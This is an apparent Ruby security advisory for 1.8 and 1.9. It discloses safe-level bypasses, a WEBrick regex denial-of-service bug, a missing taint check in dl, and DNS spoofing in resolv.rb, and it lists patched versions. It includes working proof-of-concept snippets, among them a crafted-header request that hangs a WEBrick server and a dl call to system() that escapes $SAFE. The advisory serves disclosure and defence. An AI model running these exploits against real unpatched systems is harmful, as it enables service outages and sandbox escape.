Multiple vulnerabilities in Ruby

Multiple vulnerabilities have been discovered in Ruby. It's recommended that you upgrade to the latest versions.

Details

The following vulnerabilities have been discovered.

Several vulnerabilities in safe level

Several vulnerabilities in safe level have been discovered.

  • untrace_var is permitted at safe level 4.

    trace_var(:$VAR) {|val| puts "$VAR = #{val}" }
    
    Thread.new do
     $SAFE = 4
     eval %q{
       proc = untrace_var :$VAR
       proc.first.call("aaa")
     }
    end.join
    
  • $PROGRAM_NAME may be modified at safe level 4.

    Thread.new do
     $SAFE = 4
     eval %q{$PROGRAM_NAME.replace "Hello, World!"}
    end.join
    
    $PROGRAM_NAME #=> "Hello, World!"
    
  • Insecure methods may be called at safe level 1-3.

    class Hello
     def world
       Thread.new do
         $SAFE = 4
         msg = "Hello, World!"
         def msg.size
           self.replace self*10 # replace string
           1 # return wrong size
         end
         msg
       end.value
     end
    end
    
    $SAFE = 1 # or 2, or 3
    s = Hello.new.world
    if s.kind_of?(String)
     puts s if s.size < 20 # print string which size is less than 20
    end
    
  • Syslog operations are permitted at safe level 4.

    require "syslog"
    
    Syslog.open
    
    Thread.new do
     $SAFE = 4
     eval %q{
       Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
       Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)
       Syslog.info("masked")
       Syslog.close
     }
    end.join
    

These vulnerabilities were reported by Keita Yamaguchi.

DoS vulnerability in WEBrick

WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking requests due to a backtracking regular expression in WEBrick::HTTPUtils.split_header_value.

Exploitable server:

require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

Attack:

require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res

The request likely won't finish in this universe.

This vulnerability was reported by Christian Neukirchen.

Lack of taintness check in dl

dl doesn't check taintness, so it could allow attackers to call dangerous functions.

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]

This vulnerability was reported by sheepman.

DNS spoofing vulnerability in resolv.rb

resolv.rb allow remote attackers to spoof DNS answers. This risk can be reduced by randomness of DNS transaction IDs and source ports, so resolv.rb is fixed to randomize them.

This vulnerability was reported by Tanaka Akira.

Vulnerable versions

1.8 series
  • 1.8.5 and all prior versions
  • 1.8.6-p286 and all prior versions
  • 1.8.7-p71 and all prior versions
1.9 series
  • r18423 and all prior revisions

Solution

1.8 series
Please upgrade to 1.8.6-p287, or 1.8.7-p72.
1.9 series

Please check out the latest version using Subversion.

$ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby

Please note that a package that corrects this weakness may already be available through your package management software.

Credit

Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka Akira for disclosing these problems to Ruby Security Team.

Changes